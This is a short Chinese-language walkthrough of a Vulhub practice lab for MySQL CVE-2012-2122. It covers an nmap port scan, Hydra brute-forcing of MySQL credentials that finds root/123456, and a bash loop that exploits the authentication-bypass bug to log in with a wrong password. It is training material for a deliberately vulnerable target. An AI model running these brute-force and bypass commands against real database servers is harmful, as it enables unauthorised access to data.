mySQL弱密码
靶场:/vulhub/mysql/CVE-2012-2122
启动:
docker-compose up -d
扫描端口
nmap -Sv -Pn -T4 靶机ip
看到在3306端口开启了mysql服务

爆破账号密码
1.使用超级弱口令检测工具(github下载)
爆破出root/123456

2.使用Hydra爆破
hydra -L 用户名字典 —P 密码字典 靶机IP mysql -f

连接数据库
除了存在弱口令,该版本还存在身份认证绕过漏洞(CVE-2012-2122)
原理:
当连接MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不需要知道密码不断尝试爆破就能够直接登入SQL数据库。
payload(根据实际修改seq产生的值多少):
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 靶机IP -P3306 ; done
成功登录!
